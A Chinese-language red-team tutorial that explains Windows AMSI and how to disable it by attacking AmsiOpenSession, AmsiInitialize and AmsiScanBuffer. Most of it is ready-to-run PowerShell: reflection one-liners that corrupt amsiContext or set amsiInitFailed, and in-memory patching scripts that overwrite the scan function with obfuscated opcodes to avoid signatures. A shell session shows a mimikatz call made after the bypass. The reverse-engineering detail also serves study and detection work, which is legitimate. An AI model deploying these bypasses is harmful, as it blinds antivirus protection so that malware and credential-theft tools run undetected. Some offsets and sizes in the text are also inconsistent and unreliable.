# 反病毒扫描接口

在 Windows 主机上，我们可以通过**执行 exe 文件**、**加载恶意 dll** 等行为获得 Beacon 会话，此外，还可以通过一些脚本语言达到相同目的，例如使用 **PowerShell IEX** 命令将脚本下载到内存中执行，避免文件落地。传统的杀毒软件对此难以检测，而反病毒扫描接口 AMSI 提供了这么一个接口，可以实时捕获多种脚本语言例如 **Powershell**、**JScript**、**VBScript** 以及 **.NET 命令**等并传给本地杀毒软件检测。

AMSI 在Cobalt Strike中的体现则是我们在执行 powershell、powerpick、execute-assembly** 等命令的时候，操作会被拦截甚至丢失会话。好在的是，不是所有杀毒软件产品都支持 AMSI，并且尽管 **Windows Dedender** 支持 AMSI，如果用户安装了第三方不支持 AMSI 的安全产品，例如**火绒**杀毒软件，AMSI 便不可用了。

下图是AMSI被调用的流程图，**amsi.dll** 被载入到每个 PowerShell.exe 进程中并且提供了一系列导出函数，例如 AmsiInitalize、AmsiOpenSession、AmsiScanBuffer 等。脚本的内容会被传入 AmsiScanBuffer 函数中，在脚本被执行之前被判断是否是恶意的。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/04VI9BzV2cuVPbl8-1Aoimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/04VI9BzV2cuVPbl8-1Aoimage.png)

当脚本被启动时，AmsiInitalize 函数被调用，该函数有 2 个参数，分别是**应用名称**以及该函数执行完毕后被填充的 **HAMSICONTEXT** 结构体指针 **amsiContext**。并且 amsiContext 会作为参数传入 **AmsiOpenSession** 函数，而 AmsiOpenSession 会在调用完成后填充 **HAMSISESSION** 结构体指针 **amsiSession**。AmsiScanBuffer 函数接收多个参数，包含了 AmsiInitialize 填充的 参数 amsiContext、缓冲区内容、缓冲区长度、内容标识符、AmsiOpenSession 返回后填充的 amsiSession 参数、以及**扫描结果**。最终，Windows Dedender 将结果值返回给 AmsiScanBuffer。对于结果值，**1** 为非恶意，**32768** 为恶意。接下来我们分别攻击 AmsiOpenSession、AmsiInitialize 以及 AmsiScanBuffer 这 3 个函数。

### **攻击 AmsiOpenSession()**

AmsiOpenSession 函数原型如下：

```c++
HRESULT AmsiOpenSession(
  [in]  HAMSICONTEXT amsiContext,
  [out] HAMSISESSION *amsiSession
);
```

该函数只有 2 个参数，其中 **amsiContext** 是 AmsiInitialize 执行完毕后填充的参数，**amsiSession** 是 AmsiOpenSession 执行完毕后填充的参数。使用 IDA 对 amsi.dll 进行反汇编，得到如下的流程图：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/jdNoYSXAnf9KWqm1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/jdNoYSXAnf9KWqm1-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/EIksWnrBt4i2fzmt-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/EIksWnrBt4i2fzmt-image.png)

虽然我们对 amsiContext 的结构并不了解，但我们能看到 amsiContext 的**第 2 个**以及**第 3 个 qword** 分别与 0 比较。此外，**RCX** 与 **RDX** 的值是否为 0 也决定了流程的走向。倒数第 2 行的指令 **mov eax, 0x80070057h** 则是将返回值 EAX 设置为**参数非法**的报错信息。

<table aria-label="Table 1" class="table table-sm" id="bkmrk-name-description-val"><thead><tr><th>Name</th><th>Description</th><th>Value</th></tr></thead><tbody><tr><td>S\_OK</td><td>Operation successful</td><td>0x00000000</td></tr><tr><td>E\_ABORT</td><td>Operation aborted</td><td>0x80004004</td></tr><tr><td>E\_ACCESSDENIED</td><td>General access denied error</td><td>0x80070005</td></tr><tr><td>E\_FAIL</td><td>Unspecified failure</td><td>0x80004005</td></tr><tr><td>E\_HANDLE</td><td>Handle that is not valid</td><td>0x80070006</td></tr><tr><td>**E\_INVALIDARG**</td><td>**One or more arguments are not valid**</td><td>**0x80070057**</td></tr><tr><td>E\_NOINTERFACE</td><td>No such interface supported</td><td>0x80004002</td></tr><tr><td>E\_NOTIMPL</td><td>Not implemented</td><td>0x80004001</td></tr><tr><td>E\_OUTOFMEMORY</td><td>Failed to allocate necessary memory</td><td>0x8007000E</td></tr><tr><td>E\_POINTER</td><td>Pointer that is not valid</td><td>0x80004003</td></tr><tr><td>E\_UNEXPECTED</td><td>Unexpected failure</td><td>0x8000FFFF</td></tr></tbody></table>

总结一下，以下任一情况发生，那么 EAX 值便为 **0x80070057h**，AmsiOpenSession 函数便会报错从而返回，后面的函数调用自然也不会发生，从而实现 AMSI 绕过。

```
RDX为0
RCX为0
RCX存储的地址的下一个QWORD为0
RCX存储的地址的下下个QWORD为0
```

在默认情况下，这 4 个条件是都不满足的，也就是 AmsiOpenSession 是可以正确返回的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/ESpR26LZfPMW80tA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/ESpR26LZfPMW80tA-image.png)

那么，我们可以手动补丁这 4 个值的任意一个。

我们可以使用 PowerShell 单行载荷来实现补丁 amsiContext 结构体中的第 2 个 qword，载荷内容如下：

```powershell
 $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);$ptr = [System.IntPtr]::Add([System.IntPtr]$g, 0x8);$buf = New-Object byte[](8);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 8)
```

这之间的过程是这样的

```
1：通过GetType()获得定义了Ref类型的组件里所有的类型
2：在列表中，根据AmsiUtils的属性特征，例如IsPublic=False, IsSerial=False，Name包含 "iUtils"子字符串等，定位到AmsiUtils
3：相似的方法定位到amsiContext
4：得到amsiContext参数的地址，将结构体中第2个QWORD补丁0
```

拆分的载荷如下：

```powershell
PS C:\Users\Administrator> $a=[Ref].Assembly.GetTypes()
PS C:\Users\Administrator> Foreach($b in $a) {if ($b.Name -like "*iUtils") {$b}}

IsPublic IsSerial Name                                     BaseType
-------- -------- ----                                     --------
False    False    AmsiUtils                                System.Object


PS C:\Users\Administrator> Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}}
PS C:\Users\Administrator> $c.GetFields('NonPublic,Static')


Name                   : amsiContext
MetadataToken          : 67114386
FieldHandle            : System.RuntimeFieldHandle
Attributes             : Private, Static
FieldType              : System.IntPtr
MemberType             : Field
ReflectedType          : System.Management.Automation.AmsiUtils
DeclaringType          : System.Management.Automation.AmsiUtils
Module                 : System.Management.Automation.dll
IsPublic               : False
IsPrivate              : True
IsFamily               : False
IsAssembly             : False
IsFamilyAndAssembly    : False
IsFamilyOrAssembly     : False
IsStatic               : True
IsInitOnly             : False
IsLiteral              : False
IsNotSerialized        : False
IsSpecialName          : False
IsPinvokeImpl          : False
IsSecurityCritical     : True
IsSecuritySafeCritical : False
IsSecurityTransparent  : False
CustomAttributes       : {}

Name                   : amsiSession
MetadataToken          : 67114387
FieldHandle            : System.RuntimeFieldHandle
Attributes             : Private, Static
FieldType              : System.IntPtr
MemberType             : Field
ReflectedType          : System.Management.Automation.AmsiUtils
DeclaringType          : System.Management.Automation.AmsiUtils
Module                 : System.Management.Automation.dll
IsPublic               : False
IsPrivate              : True
IsFamily               : False
IsAssembly             : False
IsFamilyAndAssembly    : False
IsFamilyOrAssembly     : False
IsStatic               : True
IsInitOnly             : False
IsLiteral              : False
IsNotSerialized        : False
IsSpecialName          : False
IsPinvokeImpl          : False
IsSecurityCritical     : True
IsSecuritySafeCritical : False
IsSecurityTransparent  : False
CustomAttributes       : {}

Name                   : amsiInitFailed
MetadataToken          : 67114388
FieldHandle            : System.RuntimeFieldHandle
Attributes             : Private, Static
FieldType              : System.Boolean
MemberType             : Field
ReflectedType          : System.Management.Automation.AmsiUtils
DeclaringType          : System.Management.Automation.AmsiUtils
Module                 : System.Management.Automation.dll
IsPublic               : False
IsPrivate              : True
IsFamily               : False
IsAssembly             : False
IsFamilyAndAssembly    : False
IsFamilyOrAssembly     : False
IsStatic               : True
IsInitOnly             : False
IsLiteral              : False
IsNotSerialized        : False
IsSpecialName          : False
IsPinvokeImpl          : False
IsSecurityCritical     : True
IsSecuritySafeCritical : False
IsSecurityTransparent  : False
CustomAttributes       : {}

Name                   : amsiLockObject
MetadataToken          : 67114389
FieldHandle            : System.RuntimeFieldHandle
Attributes             : Private, Static
FieldType              : System.Object
MemberType             : Field
ReflectedType          : System.Management.Automation.AmsiUtils
DeclaringType          : System.Management.Automation.AmsiUtils
Module                 : System.Management.Automation.dll
IsPublic               : False
IsPrivate              : True
IsFamily               : False
IsAssembly             : False
IsFamilyAndAssembly    : False
IsFamilyOrAssembly     : False
IsStatic               : True
IsInitOnly             : False
IsLiteral              : False
IsNotSerialized        : False
IsSpecialName          : False
IsPinvokeImpl          : False
IsSecurityCritical     : True
IsSecuritySafeCritical : False
IsSecurityTransparent  : False
CustomAttributes       : {}



PS C:\Users\Administrator> $d=$c.GetFields('NonPublic,Static')
PS C:\Users\Administrator> Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}}
PS C:\Users\Administrator> $f.GetValue($null)
1601698866944
PS C:\Users\Administrator> $g=$f.GetValue($null);
PS C:\Users\Administrator> $ptr = [System.IntPtr]::Add([System.IntPtr]$g, 0x8);
PS C:\Users\Administrator> $buf = New-Object byte[](8)
PS C:\Users\Administrator> [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 8)
PS C:\Users\Administrator> invoke-mimikatz
invoke-mimikatz : The term 'invoke-mimikatz' is not recognized as the name of a cmdlet, function, script file, or
operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try
again.
At line:1 char:1
+ invoke-mimikatz
+ ~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (invoke-mimikatz:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
```

如果使用 Windows API 编程来实现将 **RCX** 赋 0 的话，PowerShell 代码如下：

```powershell
function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
     Equals('System.dll')
     }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}


function getDelegateType {
    Param (
     [Parameter(Position = 0, Mandatory = $True)] [Type[]]
     $func, [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
    AutoClass', [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
     SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}


[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0x48,0x31,0xc9)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)
```

运行结果如下所示，依旧成功绕过了 AMSI。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/jHVmGe6jpvFbxRHo-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/jHVmGe6jpvFbxRHo-image.png)

### **攻击 AmsiInitialize()**

AmsiInitialize 的函数原型如下：

```c++
HRESULT AmsiInitialize(
  [in]  LPCWSTR      appName,
  [out] HAMSICONTEXT *amsiContext
);
```

该函数也是只有 2 个参数，其中函数执行后被填充的参数为 **amsiContext**。考虑到 amsiContext 会被传入后续的 AmsiOpenSession 函数作为参数，我们可以在该函数执行完毕后操纵该参数的值。

用 PowerShell 单行载荷的话，原始命令如下：

```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```

因为 **"Amsi"** 字符串会被识别为恶意内容，我们可以通过在 AmsiOpenSession 部分所使用的技巧来实现混淆，最终的单行载荷为：

```powershell
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Failed") {$f=$e}};$f.SetValue($null,$true)
```

如图所示，我们成功绕过了 AMSI。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/keSJFqi12c6yiQvv-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/keSJFqi12c6yiQvv-image.png)

### **攻击 AmsiScanBuffer()**

AmsiScanBuffer 的函数原型如下：

```c++
HRESULT AmsiScanBuffer(
  [in]           HAMSICONTEXT amsiContext,
  [in]           PVOID        buffer,
  [in]           ULONG        length,
  [in]           LPCWSTR      contentName,
  [in, optional] HAMSISESSION amsiSession,
  [out]          AMSI_RESULT  *result
);
```

该函数有 6 个参数，**amsiContext** 为 AmsiInitialize 函数执行完毕后填充的参数，**buffer** 与 **length** 分别为缓冲区内容与长度，**contentName** 为内容标识符，**amsiSession** 是 amsiOpenSession 函数执行完毕后填充的参数，**result** 是该函数执行完毕后填充的参数，表示被扫描内容的恶意程度。**AMSI\_RESULT** 结构体如下：

```c++
typedef enum AMSI_RESULT {
  AMSI_RESULT_CLEAN,
  AMSI_RESULT_NOT_DETECTED,
  AMSI_RESULT_BLOCKED_BY_ADMIN_START,
  AMSI_RESULT_BLOCKED_BY_ADMIN_END,
  AMSI_RESULT_DETECTED
} ;
```

使用 IDA 查看该函数的汇编代码与流程图：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/Lum2cswvoFuN6F7S-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/Lum2cswvoFuN6F7S-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/lDY0c9L0zBHX27Ez-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/lDY0c9L0zBHX27Ez-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/6GZNzeRAGAgzNQIb-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/6GZNzeRAGAgzNQIb-image.png)

从流程图中可见，有诸多的分支可以让函数的执行最终到达 **mov eax, 0x80070057** 指令。其中一条比较直接的路线如下：

```
cmp     rcx, rax
jz      short loc_1800082CA
```

该指令块将 RAX 与 RCX 进行数值比较，因为 RCX 与 RAX 的值在函数起始处与上述指令之间有被覆盖，所以难以补丁。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/3nhZQik7oqWrXilh-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/3nhZQik7oqWrXilh-image.png)

**RCX** 与 **RAX** 如果不相等，会来到下列指令块。RCX 所储存的地址偏移 **0x14** 字节处的字节与立即数 **4** 进行 TEST 操作，即该字节的第 **3** 位是否被设置。

```
test    byte ptr [rcx+1Ch], 4
jz      short loc_1800082CA
```

操作结果不为 0 的话，流程来到如下指令块：

```
mov     rcx, [rcx+10h]
mov     r9, rbx
mov     [r11-50h], rbp
mov     [r11-58h], r14
mov     [rsp+88h+var_60], r8d
mov     [r11-68h], rdx
call    WPP_SF_qqDqq
```

该指令块没有跳转，因此继续向下执行，来到下述指令块。之前，**RSI** 被赋予 **RDX** 所存储的值，也就是 **Buffer 的地址**，所以不为 0，那么向下继续执行。

```
loc_1800082CA:
test    rsi, rsi
jz      short loc_180008337
```

如下指令块用于判断 **EDI** 是否为 0，在之前，EDI 被赋予了存储于 **R8D** 中的值。那么一切很明显了，如果 **R8** 为 0，那么就会从这里跳转到 **mov eax, 0x80070057** 指令。

```
test    edi, edi
jz      short loc_180008337
```

用 WinDBG 在 amsiScanBuffer 函数入口处将 R8 设置为 0，继续执行，我们发现 AMSI 被绕过了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/1eEBy8xoQu5Vzrbm-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/1eEBy8xoQu5Vzrbm-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/CFhB4ntC74CpZx2f-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/CFhB4ntC74CpZx2f-image.png)

如果我们试图在 AmsiScanBuffer 起始位置补丁如下指令将 R8 赋 0：

```
xor r8, r8;
```

操作码为 **4d31c0**。但是，这么做会导致 PowerShell 进程崩溃，因此后面指令赋的值在函数后续的执行流程中有被使用。因此，该绕过的路径理论上可行，但脱离 WinDBG 在实际中执行会遇到问题。

我们也可以在函数开头就强制 AmsiScanBuffer 返回 **E\_INVALIDARG 报错**，对应指令为

```
mov eax, 0x80070057
ret
```

操作码为 **b857000780c3**。不过，因为该操作码已经是 AMSI 绕过的特征之一，所以我们对此稍加混淆：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/lnsZ6jj3nn4NuRBs-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/lnsZ6jj3nn4NuRBs-image.png)

最终代码如下

```powershell
function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
     Equals('System.dll')
     }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}


function getDelegateType {
    Param (
     [Parameter(Position = 0, Mandatory = $True)] [Type[]]
     $func, [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
    AutoClass', [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
     SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}


$a="A"
$b="msiS"
$c="canB"
$d="uffer"
[IntPtr]$funcAddr = LookupFunc amsi.dll ($a+$b+$c+$d)
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 12)
```

运行结果如图所示：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/BIXkRrk3gnVWqzHL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/BIXkRrk3gnVWqzHL-image.png)